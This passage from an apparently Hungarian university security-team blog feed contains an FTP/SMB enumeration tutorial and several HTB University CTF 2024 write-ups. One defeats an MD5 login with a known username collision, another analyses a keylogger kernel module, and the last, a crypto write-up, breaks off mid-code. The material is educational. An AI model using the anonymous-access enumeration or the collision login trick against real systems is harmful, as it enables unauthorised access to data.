<h2 id="szolgáltatások">Szolgáltatások</h2>
<p>Az nmap segít felderíteni nekünk az elérhető szolgáltatásokat, de nekünk kell rájönni, hogy mit kell az adott szolgáltatásnál vizsgálnunk. Most megnézünk pár protokollt melyeket használnak ezek a szolgáltatások, amikkel találkozhattok a boxok törése közben.</p>
<h3 id="ftp">FTP</h3>
<p>Az FTP (File Transfer Protocol) egy eléggé standard és gyakori protokol, és sokszor tartalmaz érdekes információt. Az előző nmap szken során is kiderült, hogy az FTP alapméretezett portján hallgatózik egy vsFTPd 3.0.3-ás verziójú szolgáltatás. Itt az is kiderűlt, hogy az anonymous bejelentkezés lehetséges.</p>
<p>Az FTP külön portot használ az utasítások átadására és az adatok cseréjére. Ennek akkor érdemes utánajárni, ha valamely tűzfal beállításunk miatt ez a kapcsolat nem jöhet létre (lásd active mode vs passive mode).</p>
<p>Csatlakozzunk ehhez az FTP szerverhez az <strong>ftp</strong> CLI programmal:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [16:13]
</span></span><span style="display:flex;"><span>&gt; ftp 10.129.146.156
</span></span><span style="display:flex;"><span>Connected to 10.129.146.156.
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">220</span> (vsFTPd 3.0.3)
</span></span><span style="display:flex;"><span>Name (10.129.146.156:valko): anonymous
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">331</span> Please specify the password.
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">230</span> Login successful.
</span></span><span style="display:flex;"><span>Remote system <span style="color:#fff;font-weight:bold">type</span> is UNIX.
</span></span><span style="display:flex;"><span>Using binary mode to transfer files.
</span></span><span style="display:flex;"><span>ftp&gt; ls
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">200</span> PORT <span style="color:#fff;font-weight:bold">command</span> successful. Consider using PASV.
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">150</span> Here comes the directory listing.
</span></span><span style="display:flex;"><span>-rw-r--r--    <span style="color:#ff0;font-weight:bold">1</span> <span style="color:#ff0;font-weight:bold">0</span>        <span style="color:#ff0;font-weight:bold">0</span>              <span style="color:#ff0;font-weight:bold">32</span> Jun <span style="color:#ff0;font-weight:bold">04</span>  <span style="color:#ff0;font-weight:bold">2021</span> flag.txt
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">226</span> Directory send OK.
</span></span><span style="display:flex;"><span>ftp&gt; get flag.txt
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">200</span> PORT <span style="color:#fff;font-weight:bold">command</span> successful. Consider using PASV.
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">150</span> Opening BINARY mode data connection <span style="color:#fff;font-weight:bold">for</span> flag.txt (<span style="color:#ff0;font-weight:bold">32</span> bytes).
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">226</span> Transfer complete.
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">32</span> bytes received in 0.0024 seconds (<span style="color:#ff0;font-weight:bold">13</span> kbytes/s)
</span></span><span style="display:flex;"><span>ftp&gt;
</span></span></code></pre></div><p>Az FTP egy kliens/szerver modellt követő protokoll, ahol fájlok átvitele valósítható meg. Egy biztonságosabb verziója az SFTP, amely az SSH protokollt és kulcsokat használva teszi meg ugyanezt.</p>
<p>Használhatóak az alapvető terminálos utasítások mint az <strong>ls</strong>, <strong>cd</strong> de ezen felül a <strong>get</strong> is, amivel az FTP szerverről tudunk fájlokat átmásolni az FTP kliensre. A <strong>put</strong> ugyanez csak másik irányba.</p>
<h3 id="smb">SMB</h3>
<p>Az SMB (Server Message Block) protokoll egy olyan alkalmazás-rétegben használt protokoll, ami főleg fájlok, nyomtatók, soros portok megosztására használnak. Az SMB főleg Windowos környezetben volt használatban de azóta lettek Linuxos környezetben is használt megvalósítások, mint pl. a Samba.</p>
<p>Az SMB többféleképpen futhat a hálózaton:</p>
<ul>
<li>közvetlenül TCP-vel a 445-ös porton;</li>
<li>NetBIOS API-t használva UDP(137, 138) és TCP(137, 139) portokon;</li>
</ul>
<p>Az SMB-t használó szolgáltatások, nagy felületet adnak a támadásra, és mozgást egy rendszerben, vertikálisan és horizontálisan is. Egyes SMB verziók sérülékenyek lehetnek RCE(Remote Code Execution)-re, mint például a notorius <a href="https://en.wikipedia.org/wiki/EternalBlue">EternalBlue</a>. Létfontosságú, hogy alaposan megvizsgáljuk az ilyen szolgáltatásokat.</p>
<h4 id="megosztott-könyvtárak">Megosztott könyvtárak</h4>
<p>Az SMB lehetővé teszi könyvtárak megosztását a felhasználók számára. Sokszor ezekben a könyvtárakban találunk bizalmas, érzékeny adatokat. Az eszköz amellyel hozzáférünk ezekhez a könyvtárakhoz, az a <strong>smbclient</strong>. Az smbclient <strong>-L</strong> paramétere ki listázza az elérhető megosztott könyvtárakat, az <strong>-N</strong> pedig skippeli a jelszót (guest access).</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [8:44]
</span></span><span style="display:flex;"><span>&gt; smbclient -N -L <span style="color:#0ff;font-weight:bold">\\\\</span>10.129.105.168
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Sharename       Type      Comment
</span></span><span style="display:flex;"><span>	---------       ----      -------
</span></span><span style="display:flex;"><span>	ADMIN$          Disk      Remote Admin
</span></span><span style="display:flex;"><span>	C$              Disk      Default share
</span></span><span style="display:flex;"><span>	IPC$            IPC       Remote IPC
</span></span><span style="display:flex;"><span>	WorkShares      Disk
</span></span><span style="display:flex;"><span>SMB1 disabled -- no workgroup available
</span></span></code></pre></div><p>A fenti példában látható az smbclient használata arra, hogy kilistázzuk a megosztott könyvtárakat. Itt látszik, hogy van egy WorkShares nevezetű könyvtár ami vendég módban is elérhető. Próbáljunk meg csatlakozni rá.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [8:47]
</span></span><span style="display:flex;"><span>smbclient <span style="color:#0ff;font-weight:bold">\\\\</span>10.129.105.168<span style="color:#0ff;font-weight:bold">\\</span>WorkShares
</span></span><span style="display:flex;"><span>Can<span style="color:#f00">&#39;</span>t load /etc/samba/smb.conf - run testparm to debug it
</span></span><span style="display:flex;"><span>Password <span style="color:#fff;font-weight:bold">for</span> [WORKGROUP<span style="color:#0ff;font-weight:bold">\v</span>alko]:
</span></span><span style="display:flex;"><span>Try <span style="color:#0ff;font-weight:bold">&#34;help&#34;</span> to get a list of possible commands.
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\&gt;</span> ls
</span></span><span style="display:flex;"><span>  .                                   D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 10:22:01 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  ..                                  D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 10:22:01 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  Amy.J                               D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 11:08:24 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  James.P                             D        <span style="color:#ff0;font-weight:bold">0</span>  Thu Jun  <span style="color:#ff0;font-weight:bold">3</span> 10:38:03 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#ff0;font-weight:bold">5114111</span> blocks of size 4096. <span style="color:#ff0;font-weight:bold">1734228</span> blocks available
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\&gt;</span>
</span></span></code></pre></div><p>Az üres jelszóval, mint vendég, hozzáfértünk ehhez a megosztáshoz. Látszik, hogy van ezen belül egy &lsquo;Amy.J&rsquo; könyvtár és egy &lsquo;James.P&rsquo; könyvtár.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [9:04]
</span></span><span style="display:flex;"><span>&gt; smbclient <span style="color:#0ff;font-weight:bold">\\\\</span>10.129.105.168<span style="color:#0ff;font-weight:bold">\\</span>WorkShares
</span></span><span style="display:flex;"><span>Can<span style="color:#f00">&#39;</span>t load /etc/samba/smb.conf - run testparm to debug it
</span></span><span style="display:flex;"><span>Password <span style="color:#fff;font-weight:bold">for</span> [WORKGROUP<span style="color:#0ff;font-weight:bold">\v</span>alko]:
</span></span><span style="display:flex;"><span>Try <span style="color:#0ff;font-weight:bold">&#34;help&#34;</span> to get a list of possible commands.
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\&gt;</span> ls
</span></span><span style="display:flex;"><span>  .                                   D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 10:22:01 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  ..                                  D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 10:22:01 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  Amy.J                               D        <span style="color:#ff0;font-weight:bold">0</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 11:08:24 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  James.P                             D        <span style="color:#ff0;font-weight:bold">0</span>  Thu Jun  <span style="color:#ff0;font-weight:bold">3</span> 10:38:03 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#ff0;font-weight:bold">5114111</span> blocks of size 4096. <span style="color:#ff0;font-weight:bold">1750503</span> blocks available
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\&gt;</span> <span style="color:#fff;font-weight:bold">cd</span> James.P
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\J</span>ames.P<span style="color:#0ff;font-weight:bold">\&gt;</span> ls
</span></span><span style="display:flex;"><span>  .                                   D        <span style="color:#ff0;font-weight:bold">0</span>  Thu Jun  <span style="color:#ff0;font-weight:bold">3</span> 10:38:03 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  ..                                  D        <span style="color:#ff0;font-weight:bold">0</span>  Thu Jun  <span style="color:#ff0;font-weight:bold">3</span> 10:38:03 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>  flag.txt                            A       <span style="color:#ff0;font-weight:bold">32</span>  Mon Mar <span style="color:#ff0;font-weight:bold">29</span> 11:26:57 <span style="color:#ff0;font-weight:bold">2021</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#ff0;font-weight:bold">5114111</span> blocks of size 4096. <span style="color:#ff0;font-weight:bold">1750503</span> blocks available
</span></span><span style="display:flex;"><span>smb: <span style="color:#0ff;font-weight:bold">\J</span>ames.P<span style="color:#0ff;font-weight:bold">\&gt;</span> get flag.txt
</span></span><span style="display:flex;"><span>getting file <span style="color:#0ff;font-weight:bold">\J</span>ames.P<span style="color:#0ff;font-weight:bold">\f</span>lag.txt of size <span style="color:#ff0;font-weight:bold">32</span> as flag.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
</span></span></code></pre></div><p>Ha van jogosultságunk, akkor használhatjuk a megszokott utasításokat mint pl. az <strong>ls</strong> vagy a <strong>cd</strong>. Továbbá egy fájlnál az FTP-nél is használt <strong>get</strong> is müködik.</p>
<p><strong>Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tanagyagban!</strong></p>
]]></content>
        </item>
        
        <item>
            <title>AlphaASCII testing</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/12/alphaascii-testing/</link>
            <pubDate>Fri, 27 Dec 2024 00:00:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/12/alphaascii-testing/</guid>
            <description>Writeup a HTB University CTF 2024: Binary Badlands feladatához</description>
            <content type="html"><![CDATA[<h2 id="forrás">Forrás</h2>
<p>A feladathoz egy <a href="/writeups/resources/crypto_alphascii_testing/crypto_alphascii_testing.zip">zip fájl</a> és egy socket van megadva.</p>
<p>A zip-ben csupán egy <code>server.py</code> fájl van:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> hashlib <span style="color:#fff;font-weight:bold">import</span> md5
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">Data format:
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">{
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    username: [md5(username).hexdigest(), password],
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    .
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    .
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    .
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">}
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">&#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>users = {
</span></span><span style="display:flex;"><span>    <span style="color:#0ff;font-weight:bold">&#39;HTBUser132&#39;</span> : [md5(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#39;HTBUser132&#39;</span>).hexdigest(), <span style="color:#0ff;font-weight:bold">&#39;secure123!&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#0ff;font-weight:bold">&#39;JohnMarcus&#39;</span> : [md5(<span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#39;JohnMarcus&#39;</span>).hexdigest(), <span style="color:#0ff;font-weight:bold">&#39;0123456789&#39;</span>]
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> get_option():
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">input</span>(<span style="color:#0ff;font-weight:bold">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    Welcome to my login application scaredy cat ! I am using MD5 to save the passwords in the database.
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">                          I am more than certain that this is secure.                       
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">                                   You can&#39;t prove me wrong!          
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    [1] Login
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    [2] Register
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    [3] Exit
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">
</span></span></span><span style="display:flex;"><span><span style="color:#0ff;font-weight:bold">    Option (json format) :: &#39;&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> main():
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">while</span> <span style="color:#fff;font-weight:bold">True</span>:
</span></span><span style="display:flex;"><span>        option = json.loads(get_option())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">if</span> <span style="color:#0ff;font-weight:bold">&#39;option&#39;</span> not in option:
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#39;[-] please, enter a valid option!&#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        option = option[<span style="color:#0ff;font-weight:bold">&#39;option&#39;</span>]
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">if</span> option == <span style="color:#0ff;font-weight:bold">&#39;login&#39;</span>:
</span></span><span style="display:flex;"><span>            creds = json.loads(<span style="color:#fff;font-weight:bold">input</span>(<span style="color:#0ff;font-weight:bold">&#39;enter credentials (json format) :: &#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            usr, pwd = creds[<span style="color:#0ff;font-weight:bold">&#39;username&#39;</span>], creds[<span style="color:#0ff;font-weight:bold">&#39;password&#39;</span>]
</span></span><span style="display:flex;"><span>            usr_hash = md5(usr.encode()).hexdigest()
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">for</span> db_user, v in users.items():
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">if</span> [usr_hash, pwd] == v:
</span></span><span style="display:flex;"><span>                    <span style="color:#fff;font-weight:bold">if</span> usr == db_user:
</span></span><span style="display:flex;"><span>                        <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#39;[+] welcome, </span><span style="color:#0ff;font-weight:bold">{</span>usr<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold"> 🤖!&#39;</span>)
</span></span><span style="display:flex;"><span>                    <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>                        <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;[+] what?! this was unexpected. shutting down the system :: </span><span style="color:#0ff;font-weight:bold">{</span><span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;flag.txt&#39;</span>).read()<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold"> 👽&#34;</span>)
</span></span><span style="display:flex;"><span>                        exit()
</span></span><span style="display:flex;"><span>                    <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#39;[-] invalid username and/or password!&#39;</span>)
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">elif</span> option == <span style="color:#0ff;font-weight:bold">&#39;register&#39;</span>:
</span></span><span style="display:flex;"><span>            creds = json.loads(<span style="color:#fff;font-weight:bold">input</span>(<span style="color:#0ff;font-weight:bold">&#39;enter credentials (json format) :: &#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            usr, pwd = creds[<span style="color:#0ff;font-weight:bold">&#39;username&#39;</span>], creds[<span style="color:#0ff;font-weight:bold">&#39;password&#39;</span>]
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">if</span> usr.isalnum() and pwd.isalnum():
</span></span><span style="display:flex;"><span>                usr_hash = md5(usr.encode()).hexdigest()
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">if</span> usr not in users.keys():
</span></span><span style="display:flex;"><span>                    users[usr] = [md5(usr.encode()).hexdigest(), pwd]
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>                    <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#39;[-] this user already exists!&#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#39;[-] your credentials must contain only ascii letters and digits.&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">elif</span> option == <span style="color:#0ff;font-weight:bold">&#39;exit&#39;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#39;byeee.&#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">if</span> __name__ == <span style="color:#0ff;font-weight:bold">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h2 id="magyarázat">Magyarázat</h2>
<p>A socket túloldalán ez a program fut (netcat-el elérhető).
A program egy szótárban tárol (users) felhasználókat és azok jelszavait, ahol a kulcs a felhasználónév, az érték pedig egy 2 hosszú tömb a név MD5 hashével és a felhasználó (cleartext) jelszavával.
Kettő dolgot tudunk csinálni az alkalmazással: regisztrálni és belépni. Regisztrálásnál (<code>{&quot;option&quot;: &quot;register&quot;}</code>) egy felhasználónevet és jelszót kell megadni (<code>{&quot;username&quot;: &quot;...&quot;, &quot;password&quot;: &quot;...&quot;}</code>). A bejelentkezés (<code>{&quot;option&quot;: &quot;login&quot;}</code>) ugyan így működik.</p>
<h2 id="cél">Cél</h2>
<p>A cél az, hogy az 50. sorban lévő print utasítás lefusson, ami kiírja a flag.txt tartalmát. Ez úgy érhető el, ha van 2 felhasználó akiknek megegyező a user hash értéke és a jelszava, azonban eltérő névvel rendelkeznek. Röviden hash ütközést kell elérni, ami MD5 esetén nem egy nehéz dolog.</p>
<h2 id="megoldás">Megoldás</h2>
<p>Kereshetnénk a már regisztrált felhasználók neveivel ütköző hasheket is, de mivel mi is be tudunk regisztrálni, így egyszerűbb már ismert ütközésekkel megoldani. Egy kis kutatás után tatáltam egy <a href="https://x.com/realhashbreaker/status/1770161965006008570">X bejegyzést</a>, ahol megemlítenek 2 egyező MD5 hasht. Regisztrálunk két felhasználót a két különböző, ám azonos MD5 hashű felhasználónévvel. A jeszló értéke lényegtelen, de egyezniük kell. Ezután bejelentkezünk a másodjára regisztrált felhasználóval, ezzel a kívánt útra terelve a végrehajtást.</p>
<pre tabindex="0"><code>{&#34;option&#34;: &#34;register&#34;}
{&#34;username&#34;: &#34;TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&#34;, &#34;password&#34;: &#34;pws&#34;}
{&#34;option&#34;: &#34;register&#34;}
{&#34;username&#34;: &#34;TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&#34;, &#34;password&#34;: &#34;pws&#34;}
{&#34;option&#34;: &#34;login&#34;}
{&#34;username&#34;: &#34;TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&#34;, &#34;password&#34;: &#34;pws&#34;}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Colossalbreach</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/12/colossalbreach/</link>
            <pubDate>Fri, 27 Dec 2024 00:00:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/12/colossalbreach/</guid>
            <description>Writeup a HTB University CTF 2024: Binary Badlands feladatához</description>
            <content type="html"><![CDATA[<h2 id="forrás">Forrás</h2>
<p>A feladathoz egy <a href="/writeups/resources/rev_colossalbreach/rev_colossalbreach.zip">zip fájl</a> van megadva, benne egy <code>brainstorm.ko</code> és egy <code>logs</code> fájl. A ko fájl egy ELF bináris, amit kernelmodulként lehet használni.</p>
<h2 id="cél">Cél</h2>
<p>Itt kivételesen nem egy flaget kell megszerezni, hanem az alábbi kérdésekre kell választ adni:</p>
<ol>
<li>Who is the module&rsquo;s author?</li>
<li>What is the name of the function used to register keyboard events?</li>
<li>What is the name of the function that converts keycodes to strings?</li>
<li>What file does the module create to store logs? Provide the full path.</li>
<li>What message does the module print when imported?</li>
<li>What is the XOR key used to obfuscate the keys? (e.g. 0x01, 0x32)</li>
<li>What is the password entered for &lsquo;adam&rsquo;?</li>
</ol>
<h2 id="megoldás">Megoldás</h2>
<h3 id="1-kérdés">1. kérdés</h3>
<p>A <code>modinfo</code> paranccsal lehet metaadatokat lekérdezni egy kernelmodulról, többek között a szerző nevét is:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>modinfo brainstorm.ko
</span></span></code></pre></div><pre tabindex="0"><code>...
Author: 0xEr3n
...
</code></pre><h3 id="2-kérdés">2. kérdés</h3>
<p>Innentől a program méretéből és egyszerűségéből adódóan akár a webes <a href="https://dogbolt.org/">Decompiler Explorert</a> is lehet használni.
Név alapján beazonosítható:
<code>register_keyboard_notifier</code></p>
<h3 id="3-kérdés">3. kérdés</h3>
<p>Ez talán még egyértelműbb:
<code>keycode_to_string</code></p>
<h3 id="4-kérdés">4. kérdés</h3>
<p>A <code>spy_init</code> függvényből kiolvasható, hogy létrehoz előbb egy <code>spyyy</code> könyvtárat a DebugFS-ben. Nemsokkal később egy <code>keys</code> fájlt hoz létre itt. A <a href="https://www.kernel.org/doc/html/latest/filesystems/debugfs.html">DebugFS</a> egy operatív tárban létező fájlrendszer, ami kernel módban futó folyamatok debug logjainak a tárolására szolgál, de felhasználói módból is elérhető. Ez általában a <code>/sys/kernel/debug</code> helyre van csatolva.</p>
<p>Tehát a teljes elérési út:
<code>/sys/kernel/debug/spyyy/keys</code></p>
<h3 id="5-kérdés">5. kérdés</h3>
<p>Akár ki lehet keresgetni a binárisból, de egyszerűbb betölteni egy VM-be:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo modprobe brainstorm.ko
</span></span></code></pre></div><p><code>w00tw00t</code></p>
<h3 id="6-kérdés">6. kérdés</h3>
<p>A <code>keycode_to_string</code> függvényben van egy ciklus, ami minden karaktert XOR-oz <strong><code>0x19</code></strong>-el.</p>
<h3 id="7-kérdés">7. kérdés</h3>
<p>Az XOR művelet egy úgynevezett <strong>involúciós</strong> eljárás, azaz a mégegyszeri alkalmazása az <em>identitást</em> adja vissza: \((x ⨁ a) ⨁ a = x\). A <code>logs</code> fájl feltehetően ennek a kernelmodulnak egy logja. XOR-ozzuk a fájl minden bájtját <code>0x19</code>-el, és a log végén találunk egy jelszót:
<code>supers3cur3passw0rd</code></p>
]]></content>
        </item>
        
        <item>
            <title>Cryptospiracy theory</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/12/cryptospiracy-theory/</link>
            <pubDate>Fri, 27 Dec 2024 00:00:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/12/cryptospiracy-theory/</guid>
            <description>Writeup a HTB University CTF 2024: Binary Badlands feladatához</description>
            <content type="html"><![CDATA[<h1 id="1-rész">1. rész</h1>
<h2 id="forrás">Forrás</h2>
<p>A feladathoz egy <a href="/writeups/resources/crypto_cryptospiracy_theory/crypto_cryptospiracy_theory.zip">zip fájl</a> és egy weboldal címe van megadva.
A weboldalon felhasználó nevet és egy jelszót kér.
A zip-ben egy bináris <code>encrypted_message.aes</code> és egy <code>generator.py</code> található.
A python fájl tartalma:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> Crypto.Cipher <span style="color:#fff;font-weight:bold">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> Crypto.Util.Padding <span style="color:#fff;font-weight:bold">import</span> pad
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> binascii, string
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;password.txt&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> pwd_file:
</span></span><span style="display:flex;"><span>    pwd = pwd_file.read().strip()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#007f7f"># check printability</span>
